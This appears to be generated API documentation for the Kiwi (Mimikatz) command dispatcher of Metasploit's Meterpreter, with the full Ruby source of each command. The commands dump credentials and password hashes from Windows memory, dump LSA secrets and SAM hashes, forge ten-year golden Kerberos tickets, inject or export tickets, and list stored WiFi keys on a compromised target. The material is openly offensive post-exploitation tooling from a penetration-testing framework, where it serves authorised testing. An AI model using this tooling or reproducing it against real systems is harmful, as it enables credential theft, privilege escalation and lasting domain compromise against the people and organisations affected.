Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Kiwi

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

Overview

Kiwi extension - grabs credentials from windows memory.

Benjamin DELPY ‘gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Constant Summary collapse

Klass =
Console::CommandDispatcher::Kiwi
@@golden_ticket_create_opts =

Valid options for the golden ticket creation functionality.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ],
  "-u" => [ true,  "Name of the user to create the ticket for" ],
  "-i" => [ true,  "ID of the user to associate the ticket with" ],
  "-g" => [ true,  "Comma-separated list of group identifiers to include (eg: 501,502)" ],
  "-d" => [ true,  "Name of the target domain (FQDN)" ],
  "-k" => [ true,  "krbtgt domain user NTLM hash" ],
  "-t" => [ true,  "Local path of the file to store the ticket in" ],
  "-s" => [ true,  "SID of the domain" ]
)
@@kerberos_ticket_list_opts =

Valid options for the ticket listing functionality.

Rex::Parser::Arguments.new(
  "-h" => [ false, "Help banner" ],
  "-e" => [ false, "Export Kerberos tickets to disk" ],
  "-p" => [ true,  "Path to export Kerberos tickets to" ]
)

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #help_to_s, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_filenames, #update_prompt

Constructor Details

#initialize(shell) ⇒ Kiwi

Initializes an instance of the priv command interaction. This function also outputs a banner which gives proper acknowledgement to the original author of the Mimikatz 2.0 software.



37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 37

def initialize(shell)
  super
  print_line
  print_line
  print_line("  .#####.   mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"")
  print_line(" .## ^ ##.")
  print_line(" ## / \\ ##  /* * *")
  print_line(" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )")
  print_line(" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)")
  print_line("  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */")
  print_line

  if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)

    print_line
    print_warning "Loaded x86 Kiwi on an x64 architecture."
  end
end

Instance Method Details

#cmd_creds_all(*args) ⇒ Object

Dump all the possible credentials to screen.



380
381
382
383
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 380

def cmd_creds_all(*args)
  method = Proc.new { client.kiwi.all_pass }
  scrape_passwords("all", method)
end

#cmd_creds_kerberos(*args) ⇒ Object

Dump all Kerberos credentials to screen.



428
429
430
431
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 428

def cmd_creds_kerberos(*args)
  method = Proc.new { client.kiwi.kerberos }
  scrape_passwords("kerberos", method)
end

#cmd_creds_livessp(*args) ⇒ Object

Dump all LiveSSP credentials to screen.



404
405
406
407
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 404

def cmd_creds_livessp(*args)
  method = Proc.new { client.kiwi.livessp }
  scrape_passwords("livessp", method)
end

#cmd_creds_msv(*args) ⇒ Object

Dump all msv credentials to screen.



396
397
398
399
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 396

def cmd_creds_msv(*args)
  method = Proc.new { client.kiwi.msv }
  scrape_passwords("msv", method)
end

#cmd_creds_ssp(*args) ⇒ Object

Dump all SSP credentials to screen.



412
413
414
415
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 412

def cmd_creds_ssp(*args)
  method = Proc.new { client.kiwi.ssp }
  scrape_passwords("ssp", method)
end

#cmd_creds_tspkg(*args) ⇒ Object

Dump all TSPKG credentials to screen.



420
421
422
423
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 420

def cmd_creds_tspkg(*args)
  method = Proc.new { client.kiwi.tspkg }
  scrape_passwords("tspkg", method)
end

#cmd_creds_wdigest(*args) ⇒ Object

Dump all wdigest credentials to screen.



388
389
390
391
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 388

def cmd_creds_wdigest(*args)
  method = Proc.new { client.kiwi.wdigest }
  scrape_passwords("wdigest", method)
end

#cmd_golden_ticket_create(*args) ⇒ Object

Invoke the golden kerberos ticket creation functionality on the target.



168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 168

def cmd_golden_ticket_create(*args)
  if args.include?("-h")
    golden_ticket_create_usage
    return
  end

  user = nil
  domain = nil
  sid = nil
  tgt = nil
  target = nil
  id = 0
  group_ids = []

  @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
    case opt
    when "-u"
      user = val
    when "-d"
      domain = val
    when "-k"
      tgt = val
    when "-t"
      target = val
    when "-i"
      id = val.to_i
    when "-g"
      group_ids = val.split(',').map { |g| g.to_i }.to_a
    when "-s"
      sid = val
    end
  }

  # all parameters are required
  unless user && domain && sid && tgt && target
    golden_ticket_create_usage
    return
  end

  ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)

  ::File.open( target, 'wb' ) do |f|
    f.write ticket
  end

  print_good("Golden Kerberos ticket written to #{target}")
end

#cmd_kerberos_ticket_list(*args) ⇒ Object

Invoke the kerberos ticket listing functionality on the target machine.



238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 238

def cmd_kerberos_ticket_list(*args)
  if args.include?("-h")
    kerberos_ticket_list_usage
    return
  end

  # default to not exporting
  export = false
  # default to the current folder for dumping tickets
  export_path = "."

  @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
    case opt
    when "-e"
      export = true
    when "-p"
      export_path = val
    end
  }

  tickets = client.kiwi.kerberos_ticket_list(export)

  fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
  fields << 'Export Path' if export

  table = Rex::Ui::Text::Table.new(
    'Header'    => "Kerberos Tickets",
    'Indent'    => 0,
    'SortIndex' => 0,
    'Columns'   => fields
  )

  tickets.each do |t|
    flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
    values = [
      "#{t[:server]} @ #{t[:server_realm]}",
      "#{t[:client]} @ #{t[:client_realm]}",
      t[:start],
      t[:end],
      t[:max_renew],
      "#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
    ]

    # write out each ticket to disk if export is enabled.
    if export
      path = "<no data retrieved>"
      if t[:raw]
        id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
        file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
        path = ::File.expand_path(File.join(export_path, file))
        ::File.open(path, 'wb') do |x|
          x.write t[:raw]
        end
      end
      values << path
    end

    table << values
  end

  print_line
  print_line(table.to_s)
  print_line("Total Tickets : #{tickets.length}")
end

#cmd_kerberos_ticket_purge(*args) ⇒ Object

Invoke the kerberos ticket purging functionality on the target machine.



306
307
308
309
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 306

def cmd_kerberos_ticket_purge(*args)
  client.kiwi.kerberos_ticket_purge
  print_good("Kerberos tickets purged")
end

#cmd_kerberos_ticket_use(*args) ⇒ Object

Use a locally stored Kerberos ticket in the current session.



314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 314

def cmd_kerberos_ticket_use(*args)
  if args.length != 1
    print_line("Usage: kerberos_ticket_use ticketpath")
    return
  end

  target = args[0]
  ticket  = ''
  ::File.open(target, 'rb') do |f|
    ticket += f.read(f.stat.size)
  end

  print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
  client.kiwi.kerberos_ticket_use(ticket)
  print_good("Kerberos ticket applied successfully")
end

#cmd_lsa_dump(*args) ⇒ Object

Invoke the LSA secret dump on thet target.



80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 80

def cmd_lsa_dump(*args)
  check_privs

  print_status("Dumping LSA secrets")
  lsa = client.kiwi.lsa_dump

  # the format of this data doesn't really lend itself nicely to
  # use within a table so instead we'll dump in a linear fashion

  print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
  print_line("Domain/Computer  : #{lsa[:compname]}") if lsa[:compname]
  print_line("System Key       : #{to_hex(lsa[:syskey])}")
  print_line("NT5 Key          : #{to_hex(lsa[:nt5key])}")
  print_line
  print_line("NT6 Key Count    : #{lsa[:nt6keys].length}")

  if lsa[:nt6keys].length > 0
    lsa[:nt6keys].to_enum.with_index(1) do |k, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. ID           : #{Rex::Text::to_guid(k[:id])}")
      print_line("#{index}. Value        : #{to_hex(k[:value])}")
    end
  end

  print_line
  print_line("Secret Count     : #{lsa[:secrets].length}")
  if lsa[:secrets].length > 0
    lsa[:secrets].to_enum.with_index(1) do |s, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. Name         : #{s[:name]}")
      print_line("#{index}. Service      : #{s[:service]}") if s[:service]
      print_line("#{index}. NTLM         : #{to_hex(s[:ntlm])}") if s[:ntlm]
      if s[:current] || s[:current_raw]
        current = s[:current] || to_hex(s[:current_raw], ' ')
        print_line("#{index}. Current      : #{current}")
      end
      if s[:old] || s[:old_raw]
        old = s[:old] || to_hex(s[:old_raw], ' ')
        print_line("#{index}. Old          : #{old}")
      end
    end
  end

  print_line
  print_line("SAM Key Count    : #{lsa[:samkeys].length}")
  if lsa[:samkeys].length > 0
    lsa[:samkeys].to_enum.with_index(1) do |s, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. RID          : #{s[:rid]}")
      print_line("#{index}. User         : #{s[:user]}")
      print_line("#{index}. LM Hash      : #{to_hex(s[:lm_hash])}")
      print_line("#{index}. NTLM Hash    : #{to_hex(s[:ntlm_hash])}")
    end
  end

  print_line
end

#cmd_wifi_list(*args) ⇒ Object

Dump all the wifi profiles/credentials



340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 340

def cmd_wifi_list(*args)
  # if any arguments are specified, then fire up a usage message
  if args.length > 0
    wifi_list_usage
    return
  end

  results = client.kiwi.wifi_list

  if results.length > 0
    results.each do |r|
      table = Rex::Ui::Text::Table.new(
        'Header'    => "#{r[:desc]} - #{r[:guid]}",
        'Indent'    => 0,
        'SortIndex' => 0,
        'Columns'   => [
          'Name', 'Auth', 'Type', 'Shared Key'
        ]
      )

      print_line
      r[:profiles].each do |p|
        table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
      end

      print_line table.to_s
      print_line "State: #{r[:state]}"
    end
  else
    print_line
    print_error("No wireless profiles found on the target.")
  end

  print_line
  return true
end

#commandsObject

List of supported commands.



59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 59

def commands
  {
    "creds_wdigest"         => "Retrieve WDigest creds",
    "creds_msv"             => "Retrieve LM/NTLM creds (hashes)",
    "creds_livessp"         => "Retrieve LiveSSP creds",
    "creds_ssp"             => "Retrieve SSP creds",
    "creds_tspkg"           => "Retrieve TsPkg creds",
    "creds_kerberos"        => "Retrieve Kerberos creds",
    "creds_all"             => "Retrieve all credentials",
    "golden_ticket_create"  => "Create a golden kerberos ticket",
    "kerberos_ticket_use"   => "Use a kerberos ticket",
    "kerberos_ticket_purge" => "Purge any in-use kerberos tickets",
    "kerberos_ticket_list"  => "List all kerberos tickets",
    "lsa_dump"              => "Dump LSA secrets",
    "wifi_list"             => "List wifi profiles/creds"
  }
end

#golden_ticket_create_usageObject

Output the usage for the ticket listing functionality.



158
159
160
161
162
163
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 158

def golden_ticket_create_usage
  print(
    "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" +
    "Create a golden kerberos ticket that expires in 10 years time.\n\n" +
    @@golden_ticket_create_opts.usage)
end

#kerberos_ticket_list_usageObject

Output the usage for the ticket listing functionality.



228
229
230
231
232
233
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 228

def kerberos_ticket_list_usage
  print(
    "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
    "List all the available Kerberos tickets.\n\n" +
    @@kerberos_ticket_list_opts.usage)
end

#nameObject

Name for this dispatcher



28
29
30
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 28

def name
  "Kiwi"
end

#wifi_list_usageObject



331
332
333
334
335
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 331

def wifi_list_usage
  print(
    "\nUsage: wifi_list\n\n" +
    "List WiFi interfaces, profiles and passwords.\n\n")
end